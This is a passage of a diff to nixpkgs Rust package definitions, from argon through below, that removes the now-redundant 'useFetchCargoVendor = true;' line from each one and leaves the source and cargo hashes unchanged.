+++ b/pkgs/by-name/ar/argon/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Pj6czSNFaMtu5fZV51lFDYEiWlMcj1peu7i8JUnFSXk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Lc9k6WDp7ZU4lBGbXJJATcH/+SQkbutMTgzmxZh2JCk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ar/arp-scan-rs/package.nix b/pkgs/by-name/ar/arp-scan-rs/package.nix
index adaa18ee35e6..bf98589e4515 100644
--- a/pkgs/by-name/ar/arp-scan-rs/package.nix
+++ b/pkgs/by-name/ar/arp-scan-rs/package.nix
@@ -18,8 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CLxeT2olrxRCJ12IZ1PvLW7ZuX0HPsoNuFyxmGBhB8w=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-lPE/mx4LzSOG1YjGol1f77oox4voZzp9RqrKYZAMoX0=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ar/artem/package.nix b/pkgs/by-name/ar/artem/package.nix
index 9305dabc5f83..e084210cd31a 100644
--- a/pkgs/by-name/ar/artem/package.nix
+++ b/pkgs/by-name/ar/artem/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-C3Co+hXstVN/WADIpzqr7f3muAgQL0Zbnz6VI1XNo4U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OPcT2iMZPx1mXXtghznq65YQtfxsOV1etgqZMMLzkmo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ar/arti/package.nix b/pkgs/by-name/ar/arti/package.nix
index 58d2bd27db10..9cf96a6453ea 100644
--- a/pkgs/by-name/ar/arti/package.nix
+++ b/pkgs/by-name/ar/arti/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-dryW7znckIsa7O2H0U7p1urBXtANU6B9Pv11A+pBiho=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o4he+WVsXf5GymTOvbBIsdhnGrvDtD8AMWmRMQMNiOw=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
diff --git a/pkgs/by-name/as/as-tree/package.nix b/pkgs/by-name/as/as-tree/package.nix
index b8a621bfcb38..6945721494f5 100644
--- a/pkgs/by-name/as/as-tree/package.nix
+++ b/pkgs/by-name/as/as-tree/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-80yB89sKIuv7V68p0jEsi2hRdz+5CzE+4R0joRzO7Dk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HTwzmfpp9HKBKvjYXUqVDv9GUHl+2K3LMBSy1+GfmNU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/as/asahi-bless/package.nix b/pkgs/by-name/as/asahi-bless/package.nix
index 93da168a18ad..a002b2c7cb5e 100644
--- a/pkgs/by-name/as/asahi-bless/package.nix
+++ b/pkgs/by-name/as/asahi-bless/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SNaA+CEuCBwo4c54qWGs5AdkBYb9IWY1cQ0dRd/noe8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nfSJ9RkzFAWlxlfoUKk8ZmIXDJXoSyHCGgRgMy9FDkw=";
   cargoDepsName = pname;
 
diff --git a/pkgs/by-name/as/asahi-btsync/package.nix b/pkgs/by-name/as/asahi-btsync/package.nix
index 3f18d185fde5..b941c8e16097 100644
--- a/pkgs/by-name/as/asahi-btsync/package.nix
+++ b/pkgs/by-name/as/asahi-btsync/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jp05WcwY1cWh4mBQj+3jRCZoG32OhDvTB84hOAGemX8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gGWhi0T7xDIsbzfw/KL3TSneLvQaiz/2xbpHeZt1i3I=";
   cargoDepsName = pname;
 
diff --git a/pkgs/by-name/as/asahi-nvram/package.nix b/pkgs/by-name/as/asahi-nvram/package.nix
index 4652d0919466..c6f6dbfb972f 100644
--- a/pkgs/by-name/as/asahi-nvram/package.nix
+++ b/pkgs/by-name/as/asahi-nvram/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zfUvPHAPrYhzgeiirGuqZaWnLBH0PHsqOUy2e972bWM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-NW/puo/Xoum7DjSQjBgilQcKbY3mAfVgXxUK6+1H1JI=";
   cargoDepsName = pname;
 
diff --git a/pkgs/by-name/as/asahi-wifisync/package.nix b/pkgs/by-name/as/asahi-wifisync/package.nix
index 75fec0be94e3..a3839a84e5cd 100644
--- a/pkgs/by-name/as/asahi-wifisync/package.nix
+++ b/pkgs/by-name/as/asahi-wifisync/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wKd6rUUnegvl6cHODVQlllaOXuAGlmwx9gr73I/2l/c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZxgRxQyDID3mBpr8dhHScctk14Pm9V51Gn24d24JyVk=";
   cargoDepsName = pname;
 
diff --git a/pkgs/by-name/as/asak/package.nix b/pkgs/by-name/as/asak/package.nix
index 034d703ddf24..a8c65962f6e2 100644
--- a/pkgs/by-name/as/asak/package.nix
+++ b/pkgs/by-name/as/asak/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-7r05sVIHqBBOKwye2fr0pspo/uDqaYGjt5CpxqgqKzI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XoTfymCXrvoToSY7jw+Pn8Wm6fskFzl4f55uiKnSsJ8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/as/asciinema-agg/package.nix b/pkgs/by-name/as/asciinema-agg/package.nix
index c5d94322405a..850b9fa8084c 100644
--- a/pkgs/by-name/as/asciinema-agg/package.nix
+++ b/pkgs/by-name/as/asciinema-agg/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   strictDeps = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KQ4g4hWy8FZH4nLiB0874r8FCINXJboZ4C1dAAPA8Gc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/as/asciinema-scenario/package.nix b/pkgs/by-name/as/asciinema-scenario/package.nix
index 9ba865887ae0..2d8d7e6137f3 100644
--- a/pkgs/by-name/as/asciinema-scenario/package.nix
+++ b/pkgs/by-name/as/asciinema-scenario/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fnX5CIYLdFqi04PQPVIAYDGn+xXi016l8pPcIrYIhmQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D9CSw05OFaWvBzGSEQmH8ao6gY/0OhQQ5gFkL1TVeO4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/as/asciinema_3/package.nix b/pkgs/by-name/as/asciinema_3/package.nix
index 6b9b4de833ad..16349d841eb5 100644
--- a/pkgs/by-name/as/asciinema_3/package.nix
+++ b/pkgs/by-name/as/asciinema_3/package.nix
@@ -19,7 +19,6 @@ let
       hash = "sha256-w1LV21EqHNC+LYMLpljGQrxmBJ8ztCQ7g3YbJ6ME5j0=";
     };
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-Q6HoKrcwa67lAsl4zgNYilo4LzPxySz2lE85ZdOSPpM=";
 
     nativeCheckInputs = [ python3 ];
diff --git a/pkgs/by-name/as/asdbctl/package.nix b/pkgs/by-name/as/asdbctl/package.nix
index d6edeff45b59..04e44d613d27 100644
--- a/pkgs/by-name/as/asdbctl/package.nix
+++ b/pkgs/by-name/as/asdbctl/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-S5m1iQlchGKc0PODQNDHpNzaNXRepmk5zfK5aXdiMiM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OPmnGh6xN6XeREeIgyYB2aeHUpdQ5hFS5MivcTeY29E=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/as/asfa/package.nix b/pkgs/by-name/as/asfa/package.nix
index 1dd940c1a6fa..4731ac9bfc88 100644
--- a/pkgs/by-name/as/asfa/package.nix
+++ b/pkgs/by-name/as/asfa/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
   pname = "asfa";
   inherit version src;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1aSUH1F6W7+3YQOphmF9olYmPuH/OJ9eIW5j6Jebn+s=";
 
   outputs = [
diff --git a/pkgs/by-name/as/ashell/package.nix b/pkgs/by-name/as/ashell/package.nix
index 8efb806e23d6..75d6cef16ba8 100644
--- a/pkgs/by-name/as/ashell/package.nix
+++ b/pkgs/by-name/as/ashell/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-J97MRYYkNx8Ze4vcxZTDVOSQLCANyIBcDtqZEsEZ80w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XDcCCKq/NOzaKTDwVu0GCeGV70IlJ2TvD0w8ib+lEhg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/as/askalono/package.nix b/pkgs/by-name/as/askalono/package.nix
index 22fe897f47b1..6b194d2eb6ae 100644
--- a/pkgs/by-name/as/askalono/package.nix
+++ b/pkgs/by-name/as/askalono/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LwyUaU4m9fk+mG8FBfkbj9nBvd8KokwlV7cE7EBwk0Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ug79p75Oa5lsd9COWO2aIx3jN7de1QZggMFiOPAN5kQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/as/asm-lsp/package.nix b/pkgs/by-name/as/asm-lsp/package.nix
index 45c370cd81f2..20e3a2019d04 100644
--- a/pkgs/by-name/as/asm-lsp/package.nix
+++ b/pkgs/by-name/as/asm-lsp/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage {
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-41iWqgywfFdqf3TzZT5peh39jiSZw8FRTI1AeL5CroY=";
 
   # tests expect ~/.cache/asm-lsp to be writable
diff --git a/pkgs/by-name/as/ast-grep/package.nix b/pkgs/by-name/as/ast-grep/package.nix
index 373480a8a20e..006937cb8ecb 100644
--- a/pkgs/by-name/as/ast-grep/package.nix
+++ b/pkgs/by-name/as/ast-grep/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     rm .cargo/config.toml
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0PUXj9LSFFC10H3LHVuiOHCREwFz8AkgkzJDUAGI+V0=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/as/asuka/package.nix b/pkgs/by-name/as/asuka/package.nix
index 32ae8dfc7d8c..eb4d897f39d6 100644
--- a/pkgs/by-name/as/asuka/package.nix
+++ b/pkgs/by-name/as/asuka/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-+rj6P3ejc4Qb/uqbf3N9MqyqDT7yg9JFE0yfW/uzd6M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aNHkhcvOdK6sf6nWxCNPxcktYhrnmLdMrLqWb/1QBQ4=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/as/asusctl/package.nix b/pkgs/by-name/as/asusctl/package.nix
index edaff5e252cf..c1059d6dbeae 100644
--- a/pkgs/by-name/as/asusctl/package.nix
+++ b/pkgs/by-name/as/asusctl/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-E/tDd7wQKDgC91x1rGa8Ltn4GMPk3DJDvmMQNafVLyM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lvm3xvI01RyaSS39nm3l7Zpn3x23DDBQr+0Gggl4p9U=";
 
   postPatch = ''
diff --git a/pkgs/by-name/at/atac/package.nix b/pkgs/by-name/at/atac/package.nix
index 5b54a99a2cf7..3b39ffd71f55 100644
--- a/pkgs/by-name/at/atac/package.nix
+++ b/pkgs/by-name/at/atac/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Hw93XI//d+ubVZvNPpq6z2P5XLSzw/EqzrrifSEmWUM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OrTPHfMFF5A9SGBcjcNIOC/JGLtkJzSk9EEVcv6NwOs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/at/attic-client/package.nix b/pkgs/by-name/at/attic-client/package.nix
index 92983403e7f4..83ade1cb308a 100644
--- a/pkgs/by-name/at/attic-client/package.nix
+++ b/pkgs/by-name/at/attic-client/package.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage {
 
   cargoBuildFlags = lib.concatMapStrings (c: "-p ${c} ") crates;
   cargoHash = "sha256-AbpWnYfBMrR6oOfy2LkQvIPYsClCWE89bJav+iHTtLM=";
-  useFetchCargoVendor = true;
 
   env = {
     ATTIC_DISTRIBUTOR = "nixpkgs";
diff --git a/pkgs/by-name/at/atuin/package.nix b/pkgs/by-name/at/atuin/package.nix
index bf01919a04d5..7654b205a309 100644
--- a/pkgs/by-name/at/atuin/package.nix
+++ b/pkgs/by-name/at/atuin/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-aRaUiGH2CTPtmbfrtLlNfoQzQWG817eazWctqwRlOCE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-umagQYzOMr3Jh1RewjT0aX5FpYxs9N/70NZXoGaAfi4=";
 
   # atuin's default features include 'check-updates', which do not make sense
diff --git a/pkgs/by-name/au/audion/package.nix b/pkgs/by-name/au/audion/package.nix
index 6edf94d93dc9..e73b0420d1d8 100644
--- a/pkgs/by-name/au/audion/package.nix
+++ b/pkgs/by-name/au/audion/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-NtAzh7n5bJXMt73L+FJU3vuNoNgga3wYXdZ2TY8AjIA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kIrbHt6aAUgdF4Jx/aUOYpiBj1+pyFLCVak6R+JN2Ug=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/au/august/package.nix b/pkgs/by-name/au/august/package.nix
index b3d2aee94851..26bd9e8b2753 100644
--- a/pkgs/by-name/au/august/package.nix
+++ b/pkgs/by-name/au/august/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-58DZMoRH9PBbM4sok/XbUcwSXBeqUAmFZpffdMKQ+dE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E1M/Soaz4+Gyxizc4VReZlfJB5gxrSz2ue3WI9fcNJA=";
 
   postInstall = ''
diff --git a/pkgs/by-name/au/authoscope/package.nix b/pkgs/by-name/au/authoscope/package.nix
index 1c3350aabafb..ffb127a47281 100644
--- a/pkgs/by-name/au/authoscope/package.nix
+++ b/pkgs/by-name/au/authoscope/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SKgb/N249s0+Rb59moBT/MeFb4zAAElCMQJto0diyUk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TagEeT6EgvFgdEc/M7dVn9vC1TmAA2zou5ZoWX46fOI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/au/automatic-timezoned/package.nix b/pkgs/by-name/au/automatic-timezoned/package.nix
index 8cf4136e3816..f462eb7ae778 100644
--- a/pkgs/by-name/au/automatic-timezoned/package.nix
+++ b/pkgs/by-name/au/automatic-timezoned/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-QVWfdeGYMW/BKzgQD191vmEaRZLWi2QOtuOdDyQgwf8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E3qnOMiyPGMXCldmRQVEQVssx7aRHddVPQzt5B+i4Ko=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/au/autotiling-rs/package.nix b/pkgs/by-name/au/autotiling-rs/package.nix
index 93547ad1bc41..40ff5e61ba6b 100644
--- a/pkgs/by-name/au/autotiling-rs/package.nix
+++ b/pkgs/by-name/au/autotiling-rs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-LQbmF2M6pWa0QEbKF770x8TFLMGrJeq5HnXHvLrDDPA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-s2r8517RgcMq+6S2M+gTI7a+C4AhxIkDOHG0XjRI4rI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/av/av1an-unwrapped/package.nix b/pkgs/by-name/av/av1an-unwrapped/package.nix
index 958594aa528f..c2c179b8e1a7 100644
--- a/pkgs/by-name/av/av1an-unwrapped/package.nix
+++ b/pkgs/by-name/av/av1an-unwrapped/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PcxnWkruFH4d2FqS+y3PmyA70kSe9BKtmTdCnfKnfpU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/av/avbroot/package.nix b/pkgs/by-name/av/avbroot/package.nix
index 049185a3a2d8..23468f22844d 100644
--- a/pkgs/by-name/av/avbroot/package.nix
+++ b/pkgs/by-name/av/avbroot/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9tHDkKzqEynHsdzKGL0Ten2FccsqLOsKFBxqeisGGAU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GGqrxnFkmzFtoi9Tl5QcbZJwa7ZWYexF205nrxZ+57Q=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/av/avml/package.nix b/pkgs/by-name/av/avml/package.nix
index 26ee2bfc8468..df8c953b8cd2 100644
--- a/pkgs/by-name/av/avml/package.nix
+++ b/pkgs/by-name/av/avml/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-QN9GLrs0wjlEdkNnN7Q4Uqu1yJlxD7Dx0SnHJnfV/so=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u9oYchTvSvlth/Kn6SYuuP2VDVWQDNqueUsKumPooFU=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/aw/aw-watcher-window-wayland/package.nix b/pkgs/by-name/aw/aw-watcher-window-wayland/package.nix
index 7aad65197ee5..304682a25235 100644
--- a/pkgs/by-name/aw/aw-watcher-window-wayland/package.nix
+++ b/pkgs/by-name/aw/aw-watcher-window-wayland/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
   };
 
   cargoHash = "sha256-WWT8tOrHPf5x3bXsVPt32VKut4qK+K8gickBfEc0zmk=";
-  useFetchCargoVendor = true;
 
   passthru.updateScript = unstableGitUpdater { };
 
diff --git a/pkgs/by-name/aw/awatcher/package.nix b/pkgs/by-name/aw/awatcher/package.nix
index 9dd509ecdf28..be9117428b43 100644
--- a/pkgs/by-name/aw/awatcher/package.nix
+++ b/pkgs/by-name/aw/awatcher/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
   buildInputs = [ openssl ];
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pUqwg7jblSWRLPcsUDqkir/asSM8zY0jrvrre4OIeZc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/aw/awsbck/package.nix b/pkgs/by-name/aw/awsbck/package.nix
index b43f46683510..af8c07fa4ac5 100644
--- a/pkgs/by-name/aw/awsbck/package.nix
+++ b/pkgs/by-name/aw/awsbck/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-C5QaOxZ9DQuda+slf8uqPQYVgDtS5Lhm3AFn8K2G/T4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Pb4tnP8BiVTfUR1qM1dUXj9aCmdK23YYxQ4KQQc4z54=";
 
   # tests run in CI on the source repo
diff --git a/pkgs/by-name/b3/b3sum/package.nix b/pkgs/by-name/b3/b3sum/package.nix
index 34c6d912572c..6d7d5d0730fa 100644
--- a/pkgs/by-name/b3/b3sum/package.nix
+++ b/pkgs/by-name/b3/b3sum/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/qyBs+t8n5I6uf1dSc3E0yHpdlUz77pvlqV5+r4dRBc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PKVDfBFWQY95FxJ66vl6E26GEZChNCsA3ST++iieYSM=";
 
   meta = {
diff --git a/pkgs/by-name/ba/backdown/package.nix b/pkgs/by-name/ba/backdown/package.nix
index 412f7eee97e8..968dd12d36e8 100644
--- a/pkgs/by-name/ba/backdown/package.nix
+++ b/pkgs/by-name/ba/backdown/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3+XmMRZz3SHF1sL+/CUvu4uQ2scE4ACpcC0r4nWhdkM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qVE4MOFr0YO+9rAbfnz92h0KocaLu+v2u5ompwY/o6k=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ba/bacon/package.nix b/pkgs/by-name/ba/bacon/package.nix
index a669d73584c7..89fe620a669f 100644
--- a/pkgs/by-name/ba/bacon/package.nix
+++ b/pkgs/by-name/ba/bacon/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-8wxxg3Ahp8n2Zpr/3paqDkUShONLDBW/rgMSj9Vx5TQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-o5va9iEz/wKFNoosLYVtY3VRFwXwkOaROdxo7RBmfZk=";
 
   buildFeatures = lib.optionals withSound [
diff --git a/pkgs/by-name/ba/bandwhich/package.nix b/pkgs/by-name/ba/bandwhich/package.nix
index 234b5e1f176d..8a36f52dbe29 100644
--- a/pkgs/by-name/ba/bandwhich/package.nix
+++ b/pkgs/by-name/ba/bandwhich/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gXPX5drVXsfkssPMdhqIpFsYNSbelE9mKwO+nGEy4Qs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bsyEEbwBTDcIOc+PRkZqcfqcDgQnchuVy8a8eSZZUHU=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ba/bankstown-lv2/package.nix b/pkgs/by-name/ba/bankstown-lv2/package.nix
index 4ae21dc9ea9b..5fc2e472d8da 100644
--- a/pkgs/by-name/ba/bankstown-lv2/package.nix
+++ b/pkgs/by-name/ba/bankstown-lv2/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IThXEY+mvT2MCw0PSWU/182xbUafd6dtm6hNjieLlKg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eMN95QNnQtC7QDix9g3dwb9ZbtQuiVBj8+R+opFs0KI=";
 
   installPhase = ''
diff --git a/pkgs/by-name/ba/bao/package.nix b/pkgs/by-name/ba/bao/package.nix
index cf01ae2ff834..f5ff37553f54 100644
--- a/pkgs/by-name/ba/bao/package.nix
+++ b/pkgs/by-name/ba/bao/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8h5otpu3z2Hgy0jMCITJNr8Q4iVdlR5Lea2X+WuenWs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B0wvJTcIRJxBU0G1DONnKeQYrmsmMIorhTLc73o4/kE=";
 
   meta = {
diff --git a/pkgs/by-name/ba/bark/package.nix b/pkgs/by-name/ba/bark/package.nix
index ff30f59217d6..2bfb51195593 100644
--- a/pkgs/by-name/ba/bark/package.nix
+++ b/pkgs/by-name/ba/bark/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage (final: {
     hash = "sha256-JaUIWGCYhasM0DgqL+DiG2rE1OWVg/N66my/4RWDN1E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LcmX8LbK8UHDDeqwLTFEUuRBv9GgDiCpXP4bmIR3gME=";
 
   # Broken rustdoc comment
diff --git a/pkgs/by-name/ba/bartib/package.nix b/pkgs/by-name/ba/bartib/package.nix
index 11c27676d2ba..839749ebdb86 100644
--- a/pkgs/by-name/ba/bartib/package.nix
+++ b/pkgs/by-name/ba/bartib/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-eVLacxKD8seD8mxVN1D3HhKZkIDXsEsSisZnFbmhpSk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OSnBcYeTH9UqAXGhT/seEfNBejbYj/FTiMwMbvY7Bf4=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ba/basilk/package.nix b/pkgs/by-name/ba/basilk/package.nix
index 1649c99159ab..1f39c3fdcde5 100644
--- a/pkgs/by-name/ba/basilk/package.nix
+++ b/pkgs/by-name/ba/basilk/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZicrgRghUvKp42H03IV1mUIV8FN5cfEx7ncqZMi9t9o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e0zPA+DB1z2J0fIbIgHMSvrpyeglBssIx1Axp7TpQsw=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/ba/bat/package.nix b/pkgs/by-name/ba/bat/package.nix
index 02a542c0f0b0..64c1b862e1b7 100644
--- a/pkgs/by-name/ba/bat/package.nix
+++ b/pkgs/by-name/ba/bat/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-82IhLhw0TdaMh21phBxcUZ5JI5xOXb0DrwnBmPwyfAQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EnEc+B62dK3q6in8yn5wdeVmBw8XMkP8YKpCN7lCPnc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ba/batmon/package.nix b/pkgs/by-name/ba/batmon/package.nix
index c9272a6e5364..436a82282793 100644
--- a/pkgs/by-name/ba/batmon/package.nix
+++ b/pkgs/by-name/ba/batmon/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+kjDNQKlaoI5fQ5FqYF6IPCKeE92WKxIhVCKafqfE0o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0SXb8jBAYKnNFguamSMosPE6gH9aUzydF16w3SLhOU4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ba/bato/package.nix b/pkgs/by-name/ba/bato/package.nix
index 2c840dd1075a..f1d635ddd900 100644
--- a/pkgs/by-name/ba/bato/package.nix
+++ b/pkgs/by-name/ba/bato/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-i2gw8vXiKutq26ACzkVXH3kED7jAngSv2mNo9P3qXnA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bGbLQaYfNLem47iMPsNeKm4pP3+Pij9SJ3Nq5VWX3hE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/bd/bdt/package.nix b/pkgs/by-name/bd/bdt/package.nix
index 7400c5d74d59..5811abbc1160 100644
--- a/pkgs/by-name/bd/bdt/package.nix
+++ b/pkgs/by-name/bd/bdt/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-gUKsJwbpMPSO+KPqyJRodrRLjUpTh/y6C2xhrgvJFKk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TikWh0U56x3HKca5Dj68Z59mOgedv+K5r+y7/CcpWa8=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/be/beancount-language-server/package.nix b/pkgs/by-name/be/beancount-language-server/package.nix
index aefdee98f3f8..84a3b262e370 100644
--- a/pkgs/by-name/be/beancount-language-server/package.nix
+++ b/pkgs/by-name/be/beancount-language-server/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aqWenvNAdDL7B7J1hvt+JXT73SJJKu9KFlpUReOp3s4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-h2y8h3rZABspyWXEWy4/me4NhlXzghC7KH1SyfDzGfI=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/be/below/package.nix b/pkgs/by-name/be/below/package.nix
index 11d047c6ba24..2ae332168bc7 100644
--- a/pkgs/by-name/be/below/package.nix
+++ b/pkgs/by-name/be/below/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JrSSIwREHSg5YJivSdBIPjOkOtdw8qGCsa4yE7rJz/E=";
 
   prePatch = ''
diff --git a/pkgs/by-name/be/bend/package.nix b/pkgs/by-name/be/bend/package.nix
